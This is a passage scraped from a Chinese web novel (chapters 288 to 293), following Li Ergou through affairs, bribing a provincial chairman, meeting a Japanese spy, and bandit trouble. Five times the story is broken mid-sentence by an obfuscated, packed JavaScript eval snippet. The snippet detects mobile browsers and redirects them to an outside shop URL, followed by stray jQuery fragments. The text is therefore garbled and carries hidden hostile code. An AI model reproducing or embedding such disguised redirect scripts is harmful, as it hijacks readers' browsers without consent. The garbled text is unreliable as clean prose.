李二狗哪方面都过硬,就是在女人面前把控不住自己。 想到李师师火辣辣圆润润的身材,李二狗还真挺想试一试她的深浅。 李二狗苦笑一声,然后把电话打到贸易行。 “哪位?” “静雯,我是二狗。” 听到李二狗的声音,原本无精打采的静雯兴奋地问道:“二狗,你来省城了?” “是啊,我刚到百乐门就给你打电话了,可惜啊,你没在,不然现在……嘿嘿。” “讨厌,”静雯娇嗔道,“你等我,我现在马上去找你。” 李二狗想到李师师就在隔壁,便说道:“你别过来了,咱们还是回家见吧,这里不方便。” 静雯立刻心领神会。 “那我马上回家,你也快点。” “怎么?这才几日不见就想成这样了?” “一日不见人家心里就痒痒的,都怨你,哼!” “好了,见面好好补偿你,让你痒个够!” “讨厌!快点回家。” 静雯妖媚的声音令李二狗心神荡漾,他赶紧放下电话,直奔吴公馆。 李二狗回到吴公馆的时候,吴有德没有在家。 看到楼上停的小汽车,李二狗知道静雯已经回来了。 他三步并作两步,跑到二楼卧室,刚进屋,静雯立马扑到他的怀里。 “狗儿,人家都想死你了。” 狂风骤雨般的吻落到李二狗脸上、唇上、脖子上……一直往下,再往下…… 第288章 我和孙县长真是有缘 “静雯,怎么没见干爹,他去哪了?” “干爹昨天去南京了,好像得四五天才能回来。” “太不巧了,我还想着让干爹约约夏主席来家里吃饭,孙竹刚来了。” “孙竹刚?”静雯一听到孙竹刚的名字,直接从床上坐了起来,白花花的晃得李二狗眼晕。 “怎么了?这么激动!” 李二狗说着忍不住动起手脚来。 静雯打了一下李二狗的手,说道:“别闹!你忘了?上次我去江东,见过孙竹刚,虽然没有直接打交道,但他见到我肯定认识。” 李二狗这才想起,上次静雯去江东假意购买王正直的粮食,确实和孙竹刚打过照面。 “这事你不说我还真忘记了,不过应该也不要紧吧?咱俩认识又能怎么样?你们是正常做生意,中间出点岔子也不关咱们的事。” “恩,你说得有道理,王正直不出事,他也捡不着漏,他就是怀疑也不会说出来。” “放心吧,我和他是兄弟,他不会害我的。” “那就好,那晚上咱们还约夏主席来家里吃饭吗?” “算了吧,干爹不在,咱们在家里约他,让干爹知道了反而不好,你说呢?” “嗯,你说的有道理,是不能在吴公馆约他,要不然咱们就约在百乐门大舞厅吧?喝点酒正好放松放松。” “也好,我一会去给夏主席打个电话,如果他晚上有空,你去准备五根金条,再准备两棵老山参,晚上送给他。” “好,待会我去准备,”静雯看了看墙上的挂钟,“时间还早,要不然咱们再来……” 一轮新的鏖战打响了。 “夏主席,您好,我是李二狗。” “二狗啊,来省城了?” “是啊,本来想去省政府拜访您,但又担心打扰您工作。” “怎么会打扰呢?省政府一直都是敞开门办公,你要有空就过来吧。” “夏主席,您日理万机,我实在是不忍心打扰,不知道今晚您有没有空?想请您到百乐门喝点酒放松放松。” “吴爷也去吗?” “**爹去南京了,这次是我请您。” “好吧,如果今晚没有事,我就过去一趟。” 夏瀚林知道,李二狗邀请自己去百乐门肯定不只是为了喝酒,去了就有好处,傻子才不去! “夏主席,还有一件事我得提前向您汇报一声。” “什么事?” “我家乡的父母官孙竹刚特意来省城感谢您的提携之恩,您要是同意见,我就让他一块过来。” 夏瀚林笑道:“既然来了,那就见见吧,你的面子我得给不是吗?哈哈。” “谢谢夏主席,那晚上见。” 李二狗带着静雯来到百乐门大舞厅。 “大哥,我给你介绍一下,这是百乐门大舞厅的经理静雯,静雯这是我大哥,江东县县长孙竹刚。” 静雯甜甜一笑,热情地伸出纤纤玉手。 “孙县长,久仰大名,以后还请多多关照。” 孙竹刚只觉得眼前这个风情万种的女人有些眼熟,只是一时想不起在哪里见过。 “静雯小姐客气了,咱们是不是在哪里见过?” 李二狗故意说道:“大哥,你这搭讪的方式也太老套了吧?” 孙竹刚尴尬一笑,说道:“我是真感觉和静雯小姐在哪里见过。” 静雯主动说道:“孙县长真是好记性,上次我去江东县购买粮食,咱们见过。” 孙竹刚恍然大悟。 “对对对,怪不得我看静雯小姐这么眼熟。” “我和孙县长真是有缘,待会我一定要多敬您几杯。” 李二狗自然地揽住她的腰,说道:“是啊,大哥在江东很照顾我,待会你得多敬他几杯。” 孙竹刚一愣,旋即明白李二狗和静雯的关系。 他实在没有想到李二狗在省城竟有如此风情万种的女人,心里全是羡慕嫉妒恨。 孙竹刚突然想到上次江东县几十万斤粮食被劫之后,张大发曾经举报是李二狗所为。 现在想到他和静雯的关系,孙竹刚不由得脊背发凉。 难道真得是李二狗所为? ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034925|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不过自己能当上县长,完全是因为李二狗上下疏通打点,如果王正直不死,这么大的一个馅饼又怎么会砸到他头上? 即使粮食真的是李二狗所劫持,他也不会追查。 “孙县长,今晚咱们不醉不归。” 孙竹刚连忙说道:“静雯小姐发话了,肯定要不醉不归,哈哈。” “孙县长,您别叫我静雯小姐了,还是直接叫我静雯吧。” “这……这怎么好意思?” “大哥,静雯是你弟妹,你有啥不好意思的?静雯,这是咱大哥,你也别叫孙县长了,跟着我叫大哥吧。” 静雯笑道:“我有了当县长的大哥,做梦都要笑醒,你说是不是啊?大哥!” “哈哈,什么县长不县长的,咱们都是一家人。” 三人来到包厢。 李二狗说道:“大哥,待会夏主席过来,你把这两颗老山参给他,就说是在山里挖的。” 孙竹刚脸上闪过一丝失望的表情,即使真是从山里挖的山参,送给省政府主席,两颗也拿不出手啊。 “谢谢兄弟,都怪大哥,没有提前准备。” 静雯最善于察言观色,她早就注意到孙竹刚的脸色变化。 “大哥,这两颗老山参不是一般的老山参,你打开看看便知。” 孙竹刚心想,老山参就是老山参,难道是千年的? 他打开锦盒,里面除了两颗老山参之外,还有五根金灿灿的金条。 孙竹刚激动异常,感激地说道:“兄弟,这实在是太让你破费了!等回到江东,我一定想办法还你。” “大哥,说什么还不还的?这是静雯送你的。” 静雯急忙帮腔道:“是啊,大哥,咱们都是一家人,不用分得那么清楚。” 孙竹刚刚刚当上县长,又赶上荒年,五根金条他还真得拿不出来。 “那就谢谢兄弟和弟妹了。” “狗哥,静雯姐,夏主席到了。” “大哥,咱们下去迎接吧。” 孙竹刚急忙站起来,整理了一下衣服,和李二狗一起来到楼下。 第289章 大哥已经尽力了 静雯贴心地挽着夏瀚林,大家一起簇拥着他走进包厢。 夏瀚林坐在中间的沙发上,静雯坐在他旁边,李二狗则坐在了右手边的沙发上。 孙竹刚没有坐,而是恭敬地站在夏瀚林的正对面。 “夏主席,您好。” 夏瀚林上下打量着双手垂立站在自己对面的孙竹刚,心想,这个孙竹刚虽然来自小地方,但还算是懂规矩之人。 “你就是江东县长孙竹刚?” “是的,夏主席,感谢您对竹刚的提携之恩。” “呵呵,现在不是上班时间,孙县长不必如此拘谨,坐下说。” “谢谢夏主席。” 孙竹刚便半个屁股坐在李二狗旁边的沙发上,显得极其恭敬。 “孙县长,江东县目前面临着严峻的考验,本来我想在省政府选一个信得过人去江东,但吴爷和二狗极力向我推荐了你,当时我还是有一定的顾虑,不过目前来看,你的工作还是很不错的。” 孙竹刚听到夏瀚林的夸赞,激动异常。 他急忙站起来说道:“谢谢夏主席的夸奖,江东县目前正处在困难时期,我们的工作距离您的要求、百姓的期待还有很大差距。” 夏瀚林笑着挥挥手,示意他坐下。 “孙县长能有如此清醒的态度,我对你们江东的未来更有信心了。” 李二狗说道:“夏主席,孙县长在江东的成绩有目共睹,在百姓中威信也很高,我们都很支持孙县长的工作,得感谢夏主席给我们县派来这么一位爱民如子的县长啊。” 夏瀚林说道:“得感谢你给我推荐了这么一位优秀的县长,哈哈。” 李二狗见夏瀚林高兴,便继续溜须拍马道:“夏主席,主要是您知人善任,**爹去南京之前还说,省里有夏主席是我们全省之福,来,我代表全省百姓敬您一杯。” 听到吴有德去了南京,还夸赞自己,夏瀚林显得更高兴了。 虽然夏瀚林是省政府主席,地方大员,主政一方。 但他任职的这个省是冯大帅的地盘,汤司令又在省内驻扎了几万军队,其实他就是个光杆司令。 他早就有离开这里,调到南京中央政府或者南方其他省份的打算,为此他也在南京找了不少关系。 如果吴有德能在行政院孙院长面前为自己美言几句,此事将事半功倍。 “能得到吴爷如此评价,足慰平生啊,哈哈,咱们一起干一杯。” 众人干了一杯,静雯赶紧把众人的酒杯倒满。 李二狗和孙竹刚对视一眼,孙竹刚心领神会,说道:“夏主席,不瞒您说,江东县目前灾情还是十分严重,县政府的粮库已经没有一点余粮了。” 李二狗帮腔道:“是啊,我们胡家大院的粮库也见底了。这都是王正直造的孽,他在任期间,搜刮民脂民膏,把地主豪绅捐赠的粮食全部据为己有,夏主席,我们江东的情况与其说是天灾,不如说是人祸,这样一个烂摊子,的确是太为难孙县长了。” 夏瀚林对江东县的情况有一些了解,前段时间江东县大批粮食被劫持,虽然县里并没有把情况上报省政府,但他早有耳闻。 “你们江东的情况我了解一些,但现在全省的情况都不乐观,我这里也是焦头烂额,还得靠你们地方政府想办法解决。” 李二狗见孙竹刚没搭话,便说道:“夏主席,江东县情况特殊,还请您多关照关照,多少给拨一点救济粮,帮助我们江东度过这个难关。” “等我回去再研究研究,你放心,只要省里有粮食,我一定向你们江东倾斜。” 李二狗给孙竹刚递了个眼色,孙竹刚便把身后的锦盒拿出来。 “夏主席,这次来得匆忙,没怎么准备,给您带了一点我们江东的土特产,请您别嫌弃。” 孙竹刚把锦盒放到夏瀚林面前的茶几上。 夏瀚林看锦盒制作的非常精美,肯定不是什么土特产,便笑道:“咱们都是自己人,不必这么客气。孙县长回去好好干,你放心,能照顾江东的我一定会照顾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034926|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” “谢谢夏主席,谢谢。” 看事情谈得差不多了,静雯主动出来活跃气氛。 “哎呀,夏主席忙碌了一天,已经够辛苦了,我看还是别谈工作了,让夏主席好好放松放松。” 夏瀚林笑道:“还是静雯懂得体贴人。” 李二狗忙说道:“那咱们都听静雯的,不谈工作只喝酒,来,夏主席,我们再敬您一杯。” 夏瀚林毕竟年纪大了,觥筹交错间,刚喝了一会儿便有了七八分酒意。 “二狗,今晚喝得很高兴,我看今晚就先这样吧,明天一早我还得去省政府开会。” “夏主席,您喝高兴了就好,我送您。” 夏瀚林走后,孙竹刚才长长地舒了一口气,紧绷的神经终于松弛下来。 他尴尬一笑,自嘲道:“第一次见这么大的领导,出了一身汗,真是没出息啊。” 李二狗完全理解他的心情。 “大哥,我看夏主席对你印象不错,相信用不了多久你就可以更进一步。” “兄弟啊,现在这种形势,大哥只求能平稳度过就很满足了,其他的不敢想啊。” “看夏主席的态度,粮食的事应该问题不大,就是给多给少的问题。大哥已经尽力了,只能尽人事听天命了。” 孙竹刚还是面色凝重。 “哎,一想到江东的父老乡亲食不果腹,我这心里啊就焦虑万分。” “大哥,你已经尽力了,千万不要自责。” 李二狗心想,无论如何,自己一定要想办法让夏瀚林拨付一些粮食给江东县。 “大哥,你准备哪天回江东?” “我明天就回去了,县里很多事,我不在不放心,你明天和我一起回吗?” “我在省城还有一些事情,大哥先回吧,夏主席那边我会再想想办法的。” “好兄弟,大哥就拜托你了。” 看孙竹刚如此疲惫,李二狗便贴心地安排圆圆和兮兮晚上好好陪陪他。 孙竹刚没有拒绝,愉快地接受了。 第290章 内心有一团火焰在燃烧 “静雯,干爹这次去南京做什么?他不是早就不过问政坛之事了吗?”李二狗交完公粮,搂着静雯闲聊道。 静雯像一只乖巧的小猫一样蜷缩在李二狗怀里,此刻她觉得自己是这个世界上最性福的女人。 “我听干爹说,日本人占领了东三省之后,准备扶持废帝建立所谓的满洲国,要彻底把东北从中国**出去,南京国民政府对此竟然毫无办法,干爹这次是相约了几个党内元老一同去南京**的。” 李二狗感慨道:“没想到干爹退出政坛多年,在国家危难之时,还是如此热血澎湃,是我们学习的榜样啊。” 静雯附和道:“是啊,自从去年日本人占领东三省之后,干爹几乎天天在家里骂小日本,骂南京国民**。” 李二狗忿忿道:“是啊,哪一个国家的政府能在连丢了三个省之后却连屁都不放一声?难怪日本人瞧不起咱们,实在是太窝囊了,蒋某人确实是民族罪人,他应该永远被钉在历史的耻辱柱上。” “你可能还不知道,干爹当年就是因为看不上蒋某人才一气之下退出政坛的。” 李二狗有些担心地说道:“干爹这次去南京**,他不会对干爹不利吧?我听说那个人阴狠毒辣,对付异己绝不手软。” “应该不会,干爹很多同僚和部下如今都在政府要害部门,他不会为了对付干爹这样一个闲云野鹤而得罪他们吧?” 李二狗想到往事,不由得叹息一声。 “现在想来,当年确实是我错怪干爹了,我竟以为他和日本人相勾结,我真是愚蠢。” “你确实冤枉干爹了,你知道吗?前段时间,井伊商社中国分社又重新建立起来了,他们还想再次拉拢干爹一起开发矿产,结果**爹一口回绝了,干爹现在看见日本人就恨得牙痒痒。” 李二狗心里“咯噔”一下,井伊商社又回来了,那酒井空会不会也回来了? 日本人虽然可恨,但日本女人却给李二狗留下非常深的印象。 李二狗故意说道:“我记得井伊商社那个社长,好像叫明石有信吧?一脸奸相,一看就是一个阴险狡诈的人,干爹不和他合作是对的。” 静雯没有发现李二狗的异样。 “这次明石有信没有回来,是他以前的助理回来当了社长,好像叫什么酒井空,听说是一个妖艳无比的女人。” 李二狗喉结滚动了几下,他故意咳嗽两声,以掩饰内心的躁动。 “井伊商社这时候回到中国,肯定不是为了做生意这么简单。” “干爹也这样认为,日本人不费吹灰之力就占据了东三省,轻易占了这么大的便宜,他们肯定不会就此收手,接下来肯定会觊觎华北。” 李二狗想到了那张华北五省地形地貌图,井伊商社本质上就是日本政府派到中国的**。 不过想到酒井空是个日本女特务,李二狗内心还是感到特别遗憾。 李二狗一直认为,女人不应该卷入到**和军事斗争中来。 他暗暗告诫自己,酒井空不是一般女人,一定不要和她有过多的纠缠,否则很容易被她利用。 可对于一个曾经带给他美好记忆的异国女人,李二狗还是决定去见见她,只是见见她罢了! 两人又胡乱说了一些无关紧要的话,便抱在一起沉沉睡去。 第二天早上,静雯去上班之后,李二狗便穿戴整齐,来到井伊商社中国商社,果然还是在原来的地方。 “站住!干什么的?”门口的两个保镖穿着黑色西装,操着一口不太流利的中国话喝问道。 “我找你们社长。” “你是什么人?和社长有预约吗?” “我是你们社长的老朋友,你去告诉她,就说李二狗特来拜访。” 保镖看李二狗穿得人模狗样,像是有身份有地位的人。 “那你先在这等着,我去打个电话请示一下我们社长。” 打过电话之后,保镖对李二狗的态度立刻变得极为恭敬。 “李先生,我们社长请您进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039003|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” 李二狗点点头,大步走了进去,刚走到办公楼门口,便看见酒井空已经在楼下大厅等他。 她红衣罩体,修长的玉颈下,一片酥胸如凝脂白玉,半遮半掩,素腰一束,竟不盈一握,一双颀长水润匀称的秀腿裸露着,就连秀美的莲足也在无声地妖烧着,发出诱人的邀请。 她轻启朱唇,一笑倾城,那份妖艳之美如同晨曦中的火焰,炽热而耀眼。 “二狗先生,好久不见。” 再一次听到“二狗先生”这个称呼,李二狗差点难以自持,之前所有的决定都被抛诸脑后。 “酒井小姐,好久不见。” 酒井空离开中国回到日本之后,一直对李二狗念念不忘。 他的风度、他的谈吐、他的体贴、他的温柔,还有他的力大无穷都令她回味无穷,整个日本都找不到一个像他一样伟岸的男人。 两人上楼时刻意保持着距离,进入酒井空的办公室关上房门之后,两人四目相对,一串晶莹的泪珠从酒井空的眼睛里流出。 “你把我都忘了吗?” 李二狗一愣,只觉得内心有一团火焰在燃烧,熊熊烈火把他的心肝脾肺都烤出了味道,那味道令他心醉神迷 “怎么会?你一直都在我心里。” 酒井空听罢,再也控制不住自己的情感,一下扑到李二狗怀里。 “狗儿,我好想你,日日想时时想,每时每刻都在想,我身体的每一寸肌肤每一个细胞都在想你。” “空儿,我也想你,也是日日想时时想,每分每秒都在想,我身体的每一根毛发都在想你。” 酒井空娇艳欲滴的红唇立刻吻住了李二狗的嘴。 这个吻长的令李二狗都有些窒息。 酒井空呢喃道:“狗儿,抱我进去。” 李二狗没有丝毫犹豫,抱起酒井空便进了里面的休息室。 他把酒井空放到床上,看着这个娇艳欲滴的日本女人,李二狗突然想到了丢失的东三省,动作突然变得粗鲁起来。 第291章 二狗,别走好吗 酒井空极尽温柔之能事,把李二狗伺候地舒舒服服。 李二狗认为,比起伺候男人,世界上再也没有比日本女人更懂男人的女人了。 只要你一个眼神或者肢体上表现出一个动作,她立马就能领会到你的意思,然后用尽自己全身技能去取悦你。 即使你打她两下,咬她两口,她也绝不会表现出任何自己的情绪。 她躺在床上,仿佛就是为了完全取悦你。 毫不利己,专门利人! 李二狗正在回味刚才的某一个瞬间,嘴角不自觉露出一丝满足的笑容。 酒井空手指轻轻摩挲着李二狗的胸膛,说道:“二狗,你能不能劝一劝吴有德?和我们井伊商社合作开发矿产是一本万利的生意,我实在不理解他为什么要拒绝和我们合作,我们以前的合作是很愉快的。” 李二狗没想到酒井空会在床上提出这种要求。 “很愉快?当初你们突然撤离中国,让**爹陷入非常大的被动,经济上的损失暂且不提,自己还差点锒铛入狱,你想想,他还敢和你们合作吗?” 酒井空一时语塞,好在她早对吴有德的底细进行了一番详细的调查。 “无非是一些经济上的损失,锒铛入狱不至于,吴有德在中国的身份我是知道的。” “不在于损失了多少,关键是对你们的信誉失去了信心。” “正因为如此,为了弥补我们的过失,我才要继续和他合作,这样以前的损失也能弥补回来,不是吗?” 李二狗知道酒井空之所以选择和吴有德合作,无非是看中他在政府中的人脉。 “空,你有所不知,现在政府有人忌惮**爹的影响力,一直想置他于死地,现在和你们合作,容易被人抓住把柄,请你理解他的难处。” “二狗,我们之间的合作可以是暗地里的,这一点你可以放心。” 李二狗真没想到酒井空会如此执着,他决定改变策略。 “哎,吴有德虽然是**爹,但他生意上的事情一直不让我参与,我的意见他根本不会采纳。” 酒井空并不相信李二狗的说辞。 “你就帮人家说说嘛,人家不会亏待你的。” 酒井空一边撒娇一边用温热嫩滑的肌肤磨蹭李二狗的身体。 李二狗此刻就像站在云端,上不去下不来,但他又岂是能被女人轻易拿捏之人。 “空,我不说你也应该清楚,你们日本侵占了我们东三省,现在又要成立满洲国,**爹怎么还敢和你们日本人合作?他不想被人骂是汉奸!” 酒井空明显愣了一下,她没想到李二狗会说得如此直接。 “那是中日政府之间的事情,可我只是一个商人,在商言商,吴有德不选择和我们井伊商社合作是他的损失。” “虽说在商言商,但商人也是有国家的,现在这个当口,谁敢和你们日本人合作?” “可你现在就在我床上!” 李二狗被反驳得哑口无言。 “好吧,是我唐突了。” 李二狗边说边起身穿衣服,酒井空突然在身后猛地把他抱住。 “二狗,我错了,你不要走好不好?” 李二狗不是见了女人就迈不开腿的男人,他岂能被一个女人如此拿捏,何况还是一个日本女人。 “酒井小姐,咱们只是一些风月上的往来,我希望咱们之间的关系还是纯粹一些比较好。” 李二狗说着已经穿好衣服,酒井空在床上光着身子,泪眼婆娑地看着李二狗。 “二狗,别走好吗?我不勉强你了。” “酒井小姐,也许今天我本不该来,冒犯了,告辞。” “二狗!”酒井空声嘶力竭地哀求道。 李二狗丝毫不顾身后酒井空的苦苦挽留,健步走出了她的办公室。 酒井空的目光渐渐由温柔变成了狠厉,她的耳边回响起明石有信在她来中国前的话语。 “要想成就一番大事,要学会利用男人,但一定不要沉溺于男女之情,否则你就会失去应有的理智和判断。” “李二狗,你等着,我一定会让你回来跪在我面前求我! ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039004|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 八嘎呀路!” 李二狗脚步踉跄地从井伊商社出来,内心充满了自责。 他明明知道酒井空是日本女特务,接近自己一定有不可告人的目的,可自己还是忍不住和她纠缠在一起。 如果不是自己意志坚定,很可能已经拜倒在她的石榴裙下。 他暗暗告诫自己,一定不要再和她发生任何纠葛。 李二狗回到吴公馆,正看到司机小陈在修理汽车,吴有德去了南京,他便闲了下来。 “李先生,您回来了。” 李二狗掏出一盒烟扔给小陈,小陈接过烟,嘴咧得和瓷盆似的。 “谢谢李先生。” “小陈,咱们年纪相仿,你叫我狗哥便是。” 小陈绝对是面有猪相、内心嘹亮之人,他嘿嘿一笑,说道:“我哪敢啊?您是吴爷的干儿子,以后这个吴公馆都是您的。” “你既然知道这吴公馆以后是我的,那我让你叫狗哥你还担心什么?就叫狗哥。” “狗哥,嘿嘿。” “这样显得多亲切,小陈,我有件事想请你帮个忙。” “狗哥您千万别这么客气,直接吩咐便是。” “我想跟你学开车,不知道你这个师父愿不愿意收我这个徒弟。” “狗哥您真会开玩笑,什么师父徒弟的,您要是愿意学,我当然愿意教。” “那你现在有空吗?” “现在?这里可学不了,咱们得选择一个空旷的地方。” “那就去城郊找块空地吧。” 小陈带着李二狗来到城外的一块空地,李二狗天资聪颖,才学了一个时辰,便学会了全部驾驶技术。 “狗哥,您真是天才。” “主要是你这个师父教得好,今晚我请客,请你到百乐门消费消费。” 小陈听见去百乐门消费消费,顿时两眼放光。 李二狗亲自开着汽车回到吴公馆。 “小陈,晚上七点,百乐门见。” “狗哥还真请啊?嘿嘿,这怎么敢当!” “说到当然就得做到,晚上见。” 第292章 对我来说,胡家大院没有秘密 在李二狗甜言蜜语的猛烈攻势下,静雯主动提出买一辆斯蒂庞克牌小轿车送给李二狗。 李二狗欣然接受了她的馈赠,开着新车带着她在省城一连兜了几天风。 一天晚上,李二狗和静雯经过一番鏖战之后,李二狗突然觉得自己该回江东了。 “静雯,我来省城有些日子了,明天我得回去了。” “二狗,你到底什么时候能留在省城不走了,我真的舍不得你。” “还得再等些日子,现在有了汽车,几个小时就到了。” “可人家想天天和你待在一起嘛。” “静雯,小别胜新婚,天天待在一起就腻了。” “哼,怪不得不想来,原来是和我待腻了。” 面对静雯的刁蛮任性不讲理,李二狗唯一能做得就是彻底征服她。 很快,屋内就响起了琴瑟和鸣的声音。 静雯站在云巅,身颤腿抖嘴哆嗦,李二狗无论提出什么要求,她都统统答应。 第二天,李二狗独自驾车回到江东县。 李二狗为人一向低调,为了不引人注目,他把汽车停在以前在江东县城购置的一所院子里,然后骑马返回胡家大院。 张二驴兴奋地满面红光。 “狗哥,还是你有办法,去了一趟省城就解决了这么大的难题。” 李二狗不明白张二驴指的难题是什么,但他不能让张二驴知道自己不知道。 “二驴,我给你说过多少次了,遇事一定要沉着冷静,你这样喜形于色,不知道的还以为你小子要娶媳妇呢。” “嘿嘿,狗哥教训的是。” 李二狗敏锐地从张二驴的表情中发现他应该是恋爱了。 “二驴,你小子是不是有什么事瞒着我?” 张二驴一愣,随即说道:“狗哥,什么事都瞒不住你,嘿嘿。” “什么时候开始的?” “刚开始,不过狗哥你放心,我们什么都没发生,在没有经过你的同意之前,我绝不敢越雷池半步。” 李二狗很满意张二驴这种恭敬的态度,哪怕他只是在做表面文章。 “念秋是什么态度?” 张二驴惊讶地张大了嘴巴,他和念秋眉来眼去也就这几天的事情,而这段时间,李二狗去了省城,他是怎么知道的? “狗哥,你咋知道的?” 其实很简单,张二驴现在是胡家大院协管,在胡家大院也是属于有身份有地位的人,他不可能看上粗使丫鬟。 四季已死,整个胡家大院适龄的大丫鬟之中,只有迎春和念秋,傻子也会选择念秋。 “二驴,你记住,对我来说,胡家大院没有秘密。” 张二驴惊出一身冷汗。 前几天,李二狗告诉自己,要在下人中发展几个眼线,没想到他早就这样做了。 “狗哥,你觉得念秋怎么样啊?” “配你小子绰绰有余,好好对人家,要是以后你对她不好,小心我砸断你的狗腿。” “嘿嘿,我一定好好对念秋,谢谢狗哥。” 张二驴没有说解决的难题是什么,李二狗也没有追问,他早晚会知道。 来到于兰芝院子里,于兰芝正抱着梦瑶晒太阳。 李二狗给于兰芝买了一支丹祺牌口红,给梦瑶买了一个布娃娃。 这是他的经验。 只要出门,无论礼物大小,总要买一些回来,女人孩子就吃这一套。 此刻在他的口袋里还装着两支口红,那是送给**和张玲玉的,只不过色号不同罢了。 “二狗,还是你厉害。”于兰芝用手指摩挲着口红,面色潮红。 “送你支口红有什么厉害的?这是我应该做的。” 于兰芝笑道:“人家说的不是这个,孙竹刚现在是县长,那是多大的官啊!可他还想着给咱们送来五千斤小麦和五千斤地瓜面,你这是多大的面子啊!” 原来刚才张二驴说的解决难题是这个,看来省政府拨付给江东县的救济粮已经送到了。 “孙县长是个知恩图报的人。” “知恩图报?你是说你对他有恩?” 李二狗自知失言,赶忙解释道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042726|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是说以前咱们胡家大院捐给县政府那么多粮食,现在咱们遇到困难,县政府拨给咱们一点粮食也是应该的。” 于兰芝没有多想,只是说道:“咱们大院人口多,看这架势,今年地里还是长不出粮食,这点粮食也是杯水车薪啊。” “车到山前必有路,放心吧,我不会让你们娘俩饿着的。” 于兰芝幸福地依偎在李二狗胸前。 “二狗,有你在,我们娘俩就安心了。” 日子在波澜不惊中飞逝,转眼间就到了麦收时节,因为下了几场及时雨,地里麦子长势喜人。 不过因为大量人口外出逃荒,实际播种面积不到实有土地的一半。 “狗哥,不好了,里隆村的小麦一夜之间被人割没了。” “知道是谁干的吗?” “转经山的土匪。” 转经山今年开春以后聚起了一群土匪,乱世出响马,众多逃荒之人纷纷加入,短时间内聚起了几百人,大有超越清风寨成为江东第一山寨之势。 但他们和清风寨不同,打家劫舍,为非作歹,祸害了周围不少地主大院。 但因为人数众多,县政府轻易也不敢去招惹他们。 “怎么知道是转经山的土匪干的?” “昨天夜里土匪派人堵住村子几个出口,谁敢出村,他们立即开枪,天亮时发现,地里的小麦全被割走了,附近几个村子也有不同程度的损失。” 转经山的土匪基本上都是农民出身,要是几百人同时割麦子,一夜之间就可以收割上千亩。 “二驴,这群人肯定不会善罢甘休,转经山附近的其他村子危险了,去警察局报案了吗?” “报了,但我估计没什么用,几百个土匪,县里警察根本不敢惹。” 几百个土匪同时出动,县里那帮警察肯定不敢招惹。 虽然被**的是佃户家的小麦,但佃户家的小麦被抢,胡家大院肯定就收不上来租子,最后受损的还是胡家大院。 李二狗不得不管,但他现在实在不知道该怎么管。 第293章 霸虎寨 “二驴,咱们大院和民团能派出去的人手有多少?” “咱们自身还得留下一些人手保护大院,满打满算只能派出三十人左右,和几百名土匪比起来,实力差距太悬殊了。” 张二驴说得没错,如果三十个人在大院防守,几百名土匪不一定能攻进来,但要在平地上交手,胜负根本没有悬念。 李二狗背着手来回踱步,一时他也没有好的办法。 “现在有些佃户已经开始抢收麦子,但麦子还没有完全成熟,现在收割损失不小,关键是即使把麦子收到家里,也挡不住那些土匪去家里抢啊。” 李二狗意识到对付这群土匪只有两个办法,要么全部消灭,要么兼并重组。 鉴于大部分土匪都是穷苦农民出身,李二狗更倾向于选择第二种方式。 但无论采取哪种方式,都不是轻而易举能够完成的事情,毕竟对方有几百人。 李二狗本来想组织村民和民团一起联防联控,可一旦产生冲突,伤亡再所难免。 